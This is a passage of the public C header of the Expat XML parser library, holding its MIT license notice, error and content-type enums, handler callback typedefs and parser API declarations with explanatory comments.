(c) 2001-2002 Greg Stein <gstein@users.sourceforge.net> Copyright (c) 2002-2016 Karl Waclawek <karl@waclawek.net> Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org> Copyright (c) 2016 Cristian Rodríguez <crrodriguez@opensuse.org> Copyright (c) 2016 Thomas Beutlich <tc@tbeu.de> Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk> Copyright (c) 2022 Thijs Schreijer <thijs@thijsschreijer.nl> Copyright (c) 2023 Sony Corporation / Snild Dolkow <snild@sony.com> Licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef Expat_INCLUDED #define Expat_INCLUDED 1 #include <stdlib.h> #include "expat_external.h" #ifdef __cplusplus extern "C" { #endif struct XML_ParserStruct; typedef struct XML_ParserStruct *XML_Parser; typedef unsigned char XML_Bool; #define XML_TRUE ((XML_Bool)1) #define XML_FALSE ((XML_Bool)0) /* The XML_Status enum gives the possible return values for several API functions. The preprocessor #defines are included so this stanza can be added to code that still needs to support older versions of Expat 1.95.x: #ifndef XML_STATUS_OK #define XML_STATUS_OK 1 #define XML_STATUS_ERROR 0 #endif Otherwise, the #define hackery is quite ugly and would have been dropped. */ enum XML_Status { XML_STATUS_ERROR = 0, #define XML_STATUS_ERROR XML_STATUS_ERROR XML_STATUS_OK = 1, #define XML_STATUS_OK XML_STATUS_OK XML_STATUS_SUSPENDED = 2 #define XML_STATUS_SUSPENDED XML_STATUS_SUSPENDED }; enum XML_Error { XML_ERROR_NONE, XML_ERROR_NO_MEMORY, XML_ERROR_SYNTAX, XML_ERROR_NO_ELEMENTS, XML_ERROR_INVALID_TOKEN, XML_ERROR_UNCLOSED_TOKEN, XML_ERROR_PARTIAL_CHAR, XML_ERROR_TAG_MISMATCH, XML_ERROR_DUPLICATE_ATTRIBUTE, XML_ERROR_JUNK_AFTER_DOC_ELEMENT, XML_ERROR_PARAM_ENTITY_REF, XML_ERROR_UNDEFINED_ENTITY, XML_ERROR_RECURSIVE_ENTITY_REF, XML_ERROR_ASYNC_ENTITY, XML_ERROR_BAD_CHAR_REF, XML_ERROR_BINARY_ENTITY_REF, XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF, XML_ERROR_MISPLACED_XML_PI, XML_ERROR_UNKNOWN_ENCODING, XML_ERROR_INCORRECT_ENCODING, XML_ERROR_UNCLOSED_CDATA_SECTION, XML_ERROR_EXTERNAL_ENTITY_HANDLING, XML_ERROR_NOT_STANDALONE, XML_ERROR_UNEXPECTED_STATE, XML_ERROR_ENTITY_DECLARED_IN_PE, XML_ERROR_FEATURE_REQUIRES_XML_DTD, XML_ERROR_CANT_CHANGE_FEATURE_ONCE_PARSING, /* Added in 1.95.7. */ XML_ERROR_UNBOUND_PREFIX, /* Added in 1.95.8. */ XML_ERROR_UNDECLARING_PREFIX, XML_ERROR_INCOMPLETE_PE, XML_ERROR_XML_DECL, XML_ERROR_TEXT_DECL, XML_ERROR_PUBLICID, XML_ERROR_SUSPENDED, XML_ERROR_NOT_SUSPENDED, XML_ERROR_ABORTED, XML_ERROR_FINISHED, XML_ERROR_SUSPEND_PE, /* Added in 2.0. */ XML_ERROR_RESERVED_PREFIX_XML, XML_ERROR_RESERVED_PREFIX_XMLNS, XML_ERROR_RESERVED_NAMESPACE_URI, /* Added in 2.2.1. */ XML_ERROR_INVALID_ARGUMENT, /* Added in 2.3.0. */ XML_ERROR_NO_BUFFER, /* Added in 2.4.0. */ XML_ERROR_AMPLIFICATION_LIMIT_BREACH, /* Added in 2.6.4. */ XML_ERROR_NOT_STARTED, }; enum XML_Content_Type { XML_CTYPE_EMPTY = 1, XML_CTYPE_ANY, XML_CTYPE_MIXED, XML_CTYPE_NAME, XML_CTYPE_CHOICE, XML_CTYPE_SEQ }; enum XML_Content_Quant { XML_CQUANT_NONE, XML_CQUANT_OPT, XML_CQUANT_REP, XML_CQUANT_PLUS }; /* If type == XML_CTYPE_EMPTY or XML_CTYPE_ANY, then quant will be XML_CQUANT_NONE, and the other fields will be zero or NULL. If type == XML_CTYPE_MIXED, then quant will be NONE or REP and numchildren will contain number of elements that may be mixed in and children point to an array of XML_Content cells that will be all of XML_CTYPE_NAME type with no quantification. If type == XML_CTYPE_NAME, then the name points to the name, and the numchildren field will be zero and children will be NULL. The quant fields indicates any quantifiers placed on the name. CHOICE and SEQ will have name NULL, the number of children in numchildren and children will point, recursively, to an array of XML_Content cells. The EMPTY, ANY, and MIXED types will only occur at top level. */ typedef struct XML_cp XML_Content; struct XML_cp { enum XML_Content_Type type; enum XML_Content_Quant quant; XML_Char *name; unsigned int numchildren; XML_Content *children; }; /* This is called for an element declaration. See above for description of the model argument. It's the user code's responsibility to free model when finished with it. See XML_FreeContentModel. There is no need to free the model from the handler, it can be kept around and freed at a later stage. */ typedef void(XMLCALL *XML_ElementDeclHandler)(void *userData, const XML_Char *name, XML_Content *model); XMLPARSEAPI(void) XML_SetElementDeclHandler(XML_Parser parser, XML_ElementDeclHandler eldecl); /* The Attlist declaration handler is called for *each* attribute. So a single Attlist declaration with multiple attributes declared will generate multiple calls to this handler. The "default" parameter may be NULL in the case of the "#IMPLIED" or "#REQUIRED" keyword. The "isrequired" parameter will be true and the default value will be NULL in the case of "#REQUIRED". If "isrequired" is true and default is non-NULL, then this is a "#FIXED" default. */ typedef void(XMLCALL *XML_AttlistDeclHandler)( void *userData, const XML_Char *elname, const XML_Char *attname, const XML_Char *att_type, const XML_Char *dflt, int isrequired); XMLPARSEAPI(void) XML_SetAttlistDeclHandler(XML_Parser parser, XML_AttlistDeclHandler attdecl); /* The XML declaration handler is called for *both* XML declarations and text declarations. The way to distinguish is that the version parameter will be NULL for text declarations. The encoding parameter may be NULL for XML declarations. The standalone parameter will be -1, 0, or 1 indicating respectively that there was no standalone parameter in the declaration, that it was given as no, or that it was given as yes. */ typedef void(XMLCALL *XML_XmlDeclHandler)(void *userData, const XML_Char *version, const XML_Char *encoding, int standalone); XMLPARSEAPI(void) XML_SetXmlDeclHandler(XML_Parser parser, XML_XmlDeclHandler xmldecl); typedef struct { void *(*malloc_fcn)(size_t size); void *(*realloc_fcn)(void *ptr, size_t size); void (*free_fcn)(void *ptr); } XML_Memory_Handling_Suite; /* Constructs a new parser; encoding is the encoding specified by the external protocol or NULL if there is none specified. */ XMLPARSEAPI(XML_Parser) XML_ParserCreate(const XML_Char *encoding); /* Constructs a new parser and namespace processor. Element type names and attribute names that belong to a namespace will be expanded; unprefixed attribute names are never expanded; unprefixed element type names are expanded only if there is a default namespace. The expanded name is the concatenation of the namespace URI, the namespace separator character, and the local part of the name. If the namespace separator is '\0' then the namespace URI and the local part will be concatenated without any separator. It is a programming error to use the separator '\0' with namespace triplets (see XML_SetReturnNSTriplet). If a namespace separator is chosen that can be part of a URI or part of an XML name, splitting an expanded name back into its 1, 2 or 3 original parts on application level in the element handler may end up vulnerable, so these are advised against; sane choices for a namespace separator are e.g. '\n' (line feed) and '|' (pipe). Note that Expat does not validate namespace URIs (beyond encoding) against RFC 3986 today (and is not required to do so with regard to the XML 1.0 namespaces specification) but it may start doing that in future releases. Before that, an application using Expat must be ready to receive namespace URIs containing non-URI characters. */ XMLPARSEAPI(XML_Parser) XML_ParserCreateNS(const XML_Char *encoding, XML_Char namespaceSeparator); /* Constructs a new parser using the memory management suite referred to by memsuite. If memsuite is NULL, then use the standard library memory suite. If namespaceSeparator is non-NULL it creates a parser with namespace processing as described above. The character pointed at will serve as the namespace separator. All further memory operations used for the created parser will come from the given suite. */ XMLPARSEAPI(XML_Parser) XML_ParserCreate_MM(const XML_Char *encoding, const XML_Memory_Handling_Suite *memsuite, const XML_Char *namespaceSeparator); /* Prepare a parser object to be re-used. This is particularly valuable when memory allocation overhead is disproportionately high, such as when a large number of small documnents need to be parsed. All handlers are cleared from the parser, except for the unknownEncodingHandler. The parser's external state is re-initialized except for the values of ns and ns_triplets. Added in Expat 1.95.3. */ XMLPARSEAPI(XML_Bool) XML_ParserReset(XML_Parser parser, const XML_Char *encoding); /* atts is array of name/value pairs, terminated by 0; names and values are 0 terminated. */ typedef void(XMLCALL *XML_StartElementHandler)(void *userData, const XML_Char *name, const XML_Char **atts); typedef void(XMLCALL *XML_EndElementHandler)(void *userData, const XML_Char *name); /* s is not 0 terminated. */ typedef void(XMLCALL *XML_CharacterDataHandler)(void *userData, const XML_Char *s, int len); /* target and data are 0 terminated */ typedef void(XMLCALL *XML_ProcessingInstructionHandler)(void *userData, const XML_Char *target, const XML_Char *data); /* data is 0 terminated */ typedef void(XMLCALL *XML_CommentHandler)(void *userData, const XML_Char *data); typedef void(XMLCALL *XML_StartCdataSectionHandler)(void *userData); typedef void(XMLCALL *XML_EndCdataSectionHandler)(void *userData); /* This is called for any characters in the XML document for which there is no applicable handler. This includes both characters that are part of markup which is of a kind that is not reported (comments, markup declarations), or characters that are part of a construct which could be reported but for which no handler has been supplied. The characters are passed exactly as they were in the XML document except that they will be encoded in UTF-8 or UTF-16. Line boundaries are not normalized. Note that a byte order mark character is not passed to the default handler. There are no guarantees about how characters are divided between calls to the default handler: for example, a comment might be split between multiple calls. */ typedef void(XMLCALL *XML_DefaultHandler)(void *userData, const XML_Char *s, int len); /* This is called for the start of the DOCTYPE declaration, before any DTD or internal subset is parsed. */ typedef void(XMLCALL *XML_StartDoctypeDeclHandler)(void *userData, const XML_Char *doctypeName, const XML_Char *sysid, const XML_Char *pubid, int has_internal_subset); /* This is called for the end of the DOCTYPE declaration when the closing > is encountered, but after processing any external subset. */ typedef void(XMLCALL *XML_EndDoctypeDeclHandler)(void *userData); /* This is called for entity declarations. The is_parameter_entity argument will be non-zero if the entity is a parameter entity, zero otherwise. For internal entities (<!ENTITY foo "bar">), value will be non-NULL and systemId, publicID, and notationName will be NULL. The value string is NOT null-terminated; the length is provided in the value_length argument. Since it is legal to have zero-length values, do not use this argument to test for internal entities. For external entities, value will be NULL and systemId will be non-NULL. The publicId argument will be NULL unless a public identifier was provided. The notationName argument will have a non-NULL value only for unparsed entity declarations. Note that is_parameter_entity can't be changed to XML_Bool, since that would break binary compatibility. */ typedef void(XMLCALL *XML_EntityDeclHandler)( void *userData, const XML_Char *entityName, int is_parameter_entity, const XML_Char *value, int value_length, const XML_Char *base, const XML_Char *systemId, const XML_Char *publicId, const XML_Char *notationName); XMLPARSEAPI(void) XML_SetEntityDeclHandler(XML_Parser parser, XML_EntityDeclHandler handler); /* OBSOLETE -- OBSOLETE -- OBSOLETE This handler has been superseded by the EntityDeclHandler above. It is provided here for backward compatibility. This is called for a declaration of an unparsed (NDATA) entity. The base argument is whatever was set by XML_SetBase. The entityName, systemId and notationName arguments will never be NULL. The other arguments may be. */ typedef void(XMLCALL *XML_UnparsedEntityDeclHandler)( void *userData, const XML_Char *entityName, const XML_Char *base, const XML_Char *systemId, const XML_Char *publicId, const XML_Char *notationName); /* This is called for a declaration of notation. The base argument is whatever was set by XML_SetBase. The notationName will never be NULL. The other arguments can be. */ typedef void(XMLCALL *XML_NotationDeclHandler)(void *userData, const XML_Char *notationName, const XML_Char *base, const XML_Char *systemId, const XML_Char *publicId); /* When namespace processing is enabled, these are called once for each namespace declaration. The call to the start and end element handlers occur between the calls to the start and end namespace declaration handlers. For an xmlns attribute, prefix will be NULL. For an xmlns="" attribute, uri will be NULL. */ typedef void(XMLCALL *XML_StartNamespaceDeclHandler)(void *userData, const XML_Char *prefix, const XML_Char *uri); typedef void(XMLCALL *XML_EndNamespaceDeclHandler)(void *userData, const XML_Char *prefix); /* This is called if the document is not standalone, that is, it has an external subset or a reference to a parameter entity, but does not have standalone="yes". If this handler returns XML_STATUS_ERROR, then processing will not continue, and the parser will return a XML_ERROR_NOT_STANDALONE error. If parameter entity parsing is enabled, then in addition to the conditions above this handler will only be called if the referenced entity was actually read. */ typedef int(XMLCALL *XML_NotStandaloneHandler)(void *userData); /* This is called for a reference to an external parsed general entity. The referenced entity is not automatically parsed. The application can parse it immediately or later using XML_ExternalEntityParserCreate. The parser argument is the parser parsing the entity containing the reference; it can be passed as the parser argument to XML_ExternalEntityParserCreate. The systemId argument is the system identifier as specified in the entity declaration; it will not be NULL. The base argument is the system identifier that should be used as the base for resolving systemId if systemId was relative; this is set by XML_SetBase; it may be NULL. The publicId argument is the public identifier as specified in the entity declaration, or NULL if none was specified; the whitespace in the public identifier will have been normalized as required by the XML spec. The context argument specifies the parsing context in the format expected by the context argument to XML_ExternalEntityParserCreate; context is valid only until the handler returns, so if the referenced entity is to be parsed later, it must be copied. context is NULL only when the entity is a parameter entity. The handler should return XML_STATUS_ERROR if processing should not continue because of a fatal error in the handling of the external entity. In this case the calling parser will return an XML_ERROR_EXTERNAL_ENTITY_HANDLING error. Note that unlike other handlers the first argument is the parser, not userData. */ typedef int(XMLCALL *XML_ExternalEntityRefHandler)(XML_Parser parser, const XML_Char *context, const XML_Char *base, const XML_Char *systemId, const XML_Char *publicId); /* This is called in two situations: 1) An entity reference is encountered for which no declaration has been read *and* this is not an error. 2) An internal entity reference is read, but not expanded, because XML_SetDefaultHandler has been called. Note: skipped parameter entities in declarations and skipped general entities in attribute values cannot be reported, because the event would be out of sync with the reporting of the declarations or attribute values */ typedef void(XMLCALL *XML_SkippedEntityHandler)(void *userData, const XML_Char *entityName, int is_parameter_entity); /* This structure is filled in by the XML_UnknownEncodingHandler to provide information to the parser about encodings that are unknown to the parser. The map[b] member gives information about byte sequences whose first byte is b. If map[b] is c where c is >= 0, then b by itself encodes the Unicode scalar value c. If map[b] is -1, then the byte sequence is malformed. If map[b] is -n, where n >= 2, then b is the first byte of an n-byte sequence that encodes a single Unicode scalar value. The data member will be passed as the first argument to the convert function. The convert function is used to convert multibyte sequences; s will point to a n-byte sequence where map[(unsigned char)*s] == -n. The convert function must return the Unicode scalar value represented by this byte sequence or -1 if the byte sequence is malformed. The convert function may be NULL if the encoding is a single-byte encoding, that is if map[b] >= -1 for all bytes b. When the parser is finished with the encoding, then if release is not NULL, it will call release passing it the data member; once release has been called, the convert function will not be called again. Expat places certain restrictions on the encodings that are supported using this mechanism. 1. Every ASCII character that can appear in a well-formed XML document, other than the characters $@\^`{}~ must be represented by a single byte, and that byte must be the same byte that represents that character in ASCII. 2. No character may require more than 4 bytes to encode. 3. All characters encoded must have Unicode scalar values <= 0xFFFF, (i.e., characters that would be encoded by surrogates in UTF-16 are not allowed). Note that this restriction doesn't apply to the built-in support for UTF-8 and UTF-16. 4. No Unicode character may be encoded by more than one distinct sequence of bytes. */ typedef struct { int map[256]; void *data; int(XMLCALL *convert)(void *data, const char *s); void(XMLCALL *release)(void *data); } XML_Encoding; /* This is called for an encoding that is unknown to the parser. The encodingHandlerData argument is that which was passed as the second argument to XML_SetUnknownEncodingHandler. The name argument gives the name of the encoding as specified in the encoding declaration. If the callback can provide information about the encoding, it must fill in the XML_Encoding structure, and return XML_STATUS_OK. Otherwise it must return XML_STATUS_ERROR. If info does not describe a suitable encoding, then the parser will return an XML_ERROR_UNKNOWN_ENCODING error. */ typedef int(XMLCALL *XML_UnknownEncodingHandler)(void *encodingHandlerData, const XML_Char *name, XML_Encoding *info); XMLPARSEAPI(void) XML_SetElementHandler(XML_Parser parser, XML_StartElementHandler start, XML_EndElementHandler end); XMLPARSEAPI(void) XML_SetStartElementHandler(XML_Parser parser, XML_StartElementHandler handler); XMLPARSEAPI(void) XML_SetEndElementHandler(XML_Parser parser, XML_EndElementHandler handler); XMLPARSEAPI(void) XML_SetCharacterDataHandler(XML_Parser parser, XML_CharacterDataHandler handler); XMLPARSEAPI(void) XML_SetProcessingInstructionHandler(XML_Parser parser, XML_ProcessingInstructionHandler handler); XMLPARSEAPI(void) XML_SetCommentHandler(XML_Parser parser, XML_CommentHandler handler); XMLPARSEAPI(void) XML_SetCdataSectionHandler(XML_Parser parser, XML_StartCdataSectionHandler start, XML_EndCdataSectionHandler end); XMLPARSEAPI(void) XML_SetStartCdataSectionHandler(XML_Parser parser, XML_StartCdataSectionHandler start); XMLPARSEAPI(void) XML_SetEndCdataSectionHandler(XML_Parser parser, XML_EndCdataSectionHandler end); /* This sets the default handler and also inhibits expansion of internal entities. These entity references will be passed to the default handler, or to the skipped entity handler, if one is set. */ XMLPARSEAPI(void) XML_SetDefaultHandler(XML_Parser parser, XML_DefaultHandler handler); /* This sets the default handler but does not inhibit expansion of internal entities. The entity reference will not be passed to the default handler. */ XMLPARSEAPI(void) XML_SetDefaultHandlerExpand(XML_Parser parser, XML_DefaultHandler handler); XMLPARSEAPI(void) XML_SetDoctypeDeclHandler(XML_Parser parser, XML_StartDoctypeDeclHandler start, XML_EndDoctypeDeclHandler end); XMLPARSEAPI(void) XML_SetStartDoctypeDeclHandler(XML_Parser parser, XML_StartDoctypeDeclHandler start); XMLPARSEAPI(void) XML_SetEndDoctypeDeclHandler(XML_Parser parser, XML_EndDoctypeDeclHandler end); XMLPARSEAPI(void) XML_SetUnparsedEntityDeclHandler(XML_Parser parser, XML_UnparsedEntityDeclHandler handler); XMLPARSEAPI(void) XML_SetNotationDeclHandler(XML_Parser parser, XML_NotationDeclHandler handler); XMLPARSEAPI(void) XML_SetNamespaceDeclHandler(XML_Parser parser, XML_StartNamespaceDeclHandler start, XML_EndNamespaceDeclHandler end); XMLPARSEAPI(void) XML_SetStartNamespaceDeclHandler(XML_Parser parser, XML_StartNamespaceDeclHandler start); XMLPARSEAPI(void) XML_SetEndNamespaceDeclHandler(XML_Parser parser, XML_EndNamespaceDeclHandler end); XMLPARSEAPI(void) XML_SetNotStandaloneHandler(XML_Parser parser, XML_NotStandaloneHandler handler); XMLPARSEAPI(void) XML_SetExternalEntityRefHandler(XML_Parser parser, XML_ExternalEntityRefHandler handler); /* If a non-NULL value for arg is specified here, then it will be passed as the first argument to the external entity ref handler instead of the parser object. */ XMLPARSEAPI(void) XML_SetExternalEntityRefHandlerArg(XML_Parser parser, void *arg); XMLPARSEAPI(void) XML_SetSkippedEntityHandler(XML_Parser parser, XML_SkippedEntityHandler handler); XMLPARSEAPI(void) XML_SetUnknownEncodingHandler(XML_Parser parser, XML_UnknownEncodingHandler handler, void *encodingHandlerData); /* This can be called within a handler for a start element, end element, processing instruction or character data. It causes the corresponding markup to be passed to the default handler. */ XMLPARSEAPI(void) XML_DefaultCurrent(XML_Parser parser); /* If do_nst is non-zero, and namespace processing is in effect, and a name has a prefix (i.e. an explicit namespace qualifier) then that name is returned as a triplet in a single string separated by the separator character specified when the parser was created: URI + sep + local_name + sep + prefix. If do_nst is zero, then namespace information is returned in the default manner (URI + sep + local_name) whether or not the name has a prefix. Note: Calling XML_SetReturnNSTriplet after XML_Parse or XML_ParseBuffer has no effect. */ XMLPARSEAPI(void) XML_SetReturnNSTriplet(XML_Parser parser, int do_nst); /* This value is passed as the userData argument to callbacks. */ XMLPARSEAPI(void) XML_SetUserData(XML_Parser parser, void *userData); /* Returns the last value set by XML_SetUserData or NULL. */ #define XML_GetUserData(parser) (*(void **)(parser)) /* This is equivalent to supplying an encoding argument to XML_ParserCreate. On success XML_SetEncoding returns non-zero, zero otherwise. Note: Calling XML_SetEncoding after XML_Parse or XML_ParseBuffer has no effect and returns XML_STATUS_ERROR. */ XMLPARSEAPI(enum XML_Status) XML_SetEncoding(XML_Parser parser, const XML_Char *encoding); /* If this function is called, then the parser will be passed as the first argument to callbacks instead of userData. The userData will still be accessible using XML_GetUserData. */ XMLPARSEAPI(void) XML_UseParserAsHandlerArg(XML_Parser parser); /* If useDTD == XML_TRUE is passed to this function, then the parser will assume that there is an external subset, even if none is specified in the document. In such a case the parser will call the externalEntityRefHandler with a value of NULL for the systemId argument (the publicId and context arguments will be NULL as well). Note: For the purpose of checking WFC: Entity Declared, passing useDTD == XML_TRUE will make the parser behave as if the document had a DTD with an external subset. Note: If this function is called, then this must be done before the first call to XML_Parse or XML_ParseBuffer, since it will have no effect after that. Returns XML_ERROR_CANT_CHANGE_FEATURE_ONCE_PARSING. Note: If the document does not have a DOCTYPE declaration at all, then startDoctypeDeclHandler and endDoctypeDeclHandler will not be called, despite an external subset being parsed. Note: If XML_DTD is not defined when Expat is compiled, returns XML_ERROR_FEATURE_REQUIRES_XML_DTD. Note: If parser == NULL, returns XML_ERROR_INVALID_ARGUMENT. */ XMLPARSEAPI(enum XML_Error) XML_UseForeignDTD(XML_Parser parser, XML_Bool useDTD); /* Sets the base to be used for resolving relative URIs in system identifiers in declarations. Resolving relative identifiers is left to the application: this value will be passed through as the base argument to the XML_ExternalEntityRefHandler, XML_NotationDeclHandler and XML_UnparsedEntityDeclHandler. The base argument will be copied. Returns XML_STATUS_ERROR if out of memory, XML_STATUS_OK otherwise. */ XMLPARSEAPI(enum XML_Status) XML_SetBase(XML_Parser parser, const XML_Char *base); XMLPARSEAPI(const XML_Char *) XML_GetBase(XML_Parser parser); /* Returns the number of the attribute/value pairs passed in last call to the XML_StartElementHandler that were specified in the start-tag rather than defaulted. Each attribute/value pair counts as 2; thus this corresponds to an index into the atts array passed to the XML_StartElementHandler. Returns -1 if parser == NULL. */ XMLPARSEAPI(int) XML_GetSpecifiedAttributeCount(XML_Parser parser); /* Returns the index of the ID attribute passed in the last call to XML_StartElementHandler, or -1 if there is no ID attribute or parser == NULL. Each attribute/value pair counts as 2; thus this corresponds to an index into the atts array passed to the XML_StartElementHandler. */ XMLPARSEAPI(int) XML_GetIdAttributeIndex(XML_Parser parser); #ifdef XML_ATTR_INFO /* Source file byte offsets for the start and end of attribute names and values. The value indices are exclusive of surrounding quotes; thus in a UTF-8 source file an attribute value of "blah" will yield: info->valueEnd - info->valueStart = 4 bytes. */ typedef struct { XML_Index nameStart; /* Offset to beginning of the attribute name. */ XML_Index nameEnd; /* Offset after the attribute name's last byte. */ XML_Index valueStart; /* Offset to beginning of the attribute value. */ XML_Index valueEnd; /* Offset after the attribute value's last byte. */ } XML_AttrInfo; /* Returns an array of XML_AttrInfo structures for the attribute/value pairs passed in last call to the XML_StartElementHandler that were specified in the start-tag rather than defaulted. Each attribute/value pair counts as 1; thus the number of entries in the array is XML_GetSpecifiedAttributeCount(parser) / 2. */ XMLPARSEAPI(const XML_AttrInfo *) XML_GetAttributeInfo(XML_Parser parser); #endif /* Parses some input. Returns XML_STATUS_ERROR if a fatal error is detected. The last call to XML_Parse must have isFinal true; len may be zero for this call (or any other). Though the return values for these functions has always been described as a Boolean value, the implementation, at least for the 1.95.x series, has always returned exactly one of the XML_Status values. */ XMLPARSEAPI(enum XML_Status) XML_Parse(XML_Parser parser, const char *s, int len, int isFinal); XMLPARSEAPI(void *) XML_GetBuffer(XML_Parser parser, int len); XMLPARSEAPI(enum XML_Status) XML_ParseBuffer(XML_Parser parser, int len, int isFinal); /* Stops parsing, causing XML_Parse() or XML_ParseBuffer() to return. Must be called from within a call-back handler, except when aborting (resumable = 0) an already suspended parser. Some call-backs may still follow because they would otherwise get lost. Examples: - endElementHandler() for empty elements when stopped in startElementHandler(), - endNameSpaceDeclHandler() when stopped in endElementHandler(), and possibly others. Can be called from most handlers, including DTD related call-backs, except when parsing an external parameter entity and resumable != 0. Returns XML_STATUS_OK when successful, XML_STATUS_ERROR otherwise. Possible error codes: - XML_ERROR_SUSPENDED: when suspending an already suspended parser. - XML_ERROR_FINISHED: when the parser has already finished. - XML_ERROR_SUSPEND_PE: when suspending while parsing an external PE. When resumable != 0 (true) then parsing is suspended, that is, XML_Parse() and XML_ParseBuffer() return XML_STATUS_SUSPENDED. Otherwise, parsing is aborted, that is, XML_Parse() and XML_ParseBuffer() return XML_STATUS_ERROR with error code XML_ERROR_ABORTED. *Note*: This will be applied to the current parser instance only, that is, if there is a parent parser then it will continue parsing when the externalEntityRefHandler() returns. It is up to the implementation of the externalEntityRefHandler() to call XML_StopParser() on the parent parser (recursively), if one wants to stop parsing altogether. When suspended, parsing can be resumed by calling XML_ResumeParser(). */ XMLPARSEAPI(enum XML_Status) XML_StopParser(XML_Parser parser, XML_Bool resumable); /* Resumes parsing after it has been suspended with XML_StopParser(). Must not be called from within a handler call-back. Returns same status codes as XML_Parse() or XML_ParseBuffer(). Additional error code XML_ERROR_NOT_SUSPENDED possible. *Note*: This must be called on the most deeply nested child parser instance first, and on its parent parser only after the child parser has finished, to be applied recursively until the document entity's parser is restarted. That is, the parent parser will not resume by itself and it is up to the application to call XML_ResumeParser() on it at the appropriate moment. */ XMLPARSEAPI(enum XML_Status) XML_ResumeParser(XML_Parser parser); enum XML_Parsing { XML_INITIALIZED, XML_PARSING, XML_FINISHED, XML_SUSPENDED }; typedef struct { enum XML_Parsing parsing; XML_Bool finalBuffer; } XML_ParsingStatus; /* Returns status of parser with respect to being initialized, parsing, finished, or suspended and processing the final buffer. XXX XML_Parse() and XML_ParseBuffer() should return XML_ParsingStatus, XXX with XML_FINISHED_OK or XML_FINISHED_ERROR replacing XML_FINISHED */ XMLPARSEAPI(void) XML_GetParsingStatus(XML_Parser parser, XML_ParsingStatus *status); /* Creates an XML_Parser object that can parse an external general entity; context is a '\0'-terminated string specifying the parse context; encoding is a '\0'-terminated string giving the name of the externally specified encoding, or NULL if there is no externally specified encoding. The context string consists of a sequence of tokens separated by formfeeds (\f); a token consisting of a name specifies that the general entity of the name is open; a token of the form prefix=uri specifies the namespace for a particular prefix; a token of the form =uri specifies the default namespace. This can be called at any point after the first call to an ExternalEntityRefHandler so longer as the parser has not yet been freed. The new parser is completely independent and may safely be used in a separate thread. The handlers and userData are initialized from the parser argument. Returns NULL if out of memory. Otherwise returns a new XML_Parser object. */ XMLPARSEAPI(XML_Parser) XML_ExternalEntityParserCreate(XML_Parser parser, const XML_Char *context, const XML_Char *encoding); enum XML_ParamEntityParsing { XML_PARAM_ENTITY_PARSING_NEVER, XML_PARAM_ENTITY_PARSING_UNLESS_STANDALONE, XML_PARAM_ENTITY_PARSING_ALWAYS }; /* Controls parsing of parameter entities (including the external DTD subset). If parsing of parameter entities is enabled, then references to external parameter entities (including the external DTD subset) will be passed to the handler set with XML_SetExternalEntityRefHandler. The context passed will be 0. Unlike external general entities, external parameter entities can only be parsed synchronously. If the external parameter entity is to be parsed, it must be parsed during the call to the external entity ref handler: the complete sequence of XML_ExternalEntityParserCreate, XML_Parse/XML_ParseBuffer and XML_ParserFree calls must be made during this call. After XML_ExternalEntityParserCreate has been called to create the parser for the external parameter entity (context must be 0 for this call), it is illegal to make any calls on the old parser until XML_ParserFree has been called on the newly created parser. If the library has been compiled without support for parameter entity parsing (ie without XML_DTD being defined), then XML_SetParamEntityParsing will return 0 if parsing of parameter entities is requested; otherwise it will return non-zero. Note: If XML_SetParamEntityParsing is called after XML_Parse or XML_ParseBuffer, then it has no effect and will always return 0. Note: If parser == NULL, the function will do nothing and return 0. */ XMLPARSEAPI(int) XML_SetParamEntityParsing(XML_Parser parser, enum XML_ParamEntityParsing parsing); /* Sets the hash salt to use for internal hash calculations. Helps in preventing DoS attacks based on predicting hash function behavior. This must be called before parsing is started. Returns 1 if successful, 0 when called after parsing has started. Note: If parser == NULL, the function will do nothing and return 0. */ XMLPARSEAPI(int) XML_SetHashSalt(XML_Parser parser, unsigned long hash_salt); /* If XML_Parse or XML_ParseBuffer have returned XML_STATUS_ERROR, then XML_GetErrorCode returns information about the error. */ XMLPARSEAPI(enum XML_Error) XML_GetErrorCode(XML_Parser parser); /* These functions return information about the current parse location. They may be called from any callback called to report some parse event; in this case the location is the location of the first of the sequence of characters that generated the event. When called from callbacks generated by declarations in the document prologue, the location identified isn't as neatly defined, but will be within the relevant markup. When called outside of the callback functions, the position indicated will be just past the last parse event (regardless of whether there was an associated callback). They may also be called after returning from a call to XML_Parse or XML_ParseBuffer. If the return value is XML_STATUS_ERROR then the location is the location of the character at which the error was detected; otherwise the location is the location of the last parse event, as described above. Note: XML_GetCurrentLineNumber and XML_GetCurrentColumnNumber return 0 to indicate an error. Note: XML_GetCurrentByteIndex returns -1 to indicate an error. */ XMLPARSEAPI(XML_Size) XML_GetCurrentLineNumber(XML_Parser parser); XMLPARSEAPI(XML_Size) XML_GetCurrentColumnNumber(XML_Parser parser); XMLPARSEAPI(XML_Index) XML_GetCurrentByteIndex(XML_Parser parser); /* Return the number of bytes in the current event. Returns 0 if the event is in an internal entity. */ XMLPARSEAPI(int) XML_GetCurrentByteCount(XML_Parser parser); /* If XML_CONTEXT_BYTES is defined, returns the input buffer, sets the integer pointed to by offset to the offset within this buffer of the current parse position, and sets the integer pointed to by size to the size of this buffer (the number of input bytes). Otherwise returns a NULL pointer. Also returns a NULL pointer if a parse isn't active. NOTE: The character pointer returned should not be used outside the handler that makes the call. */ XMLPARSEAPI(const char *) XML_GetInputContext(XML_Parser parser, int *offset, int *size); /* For backwards compatibility with previous versions. */ #define XML_GetErrorLineNumber XML_GetCurrentLineNumber #define XML_GetErrorColumnNumber XML_GetCurrentColumnNumber #define XML_GetErrorByteIndex XML_GetCurrentByteIndex /* Frees the content model 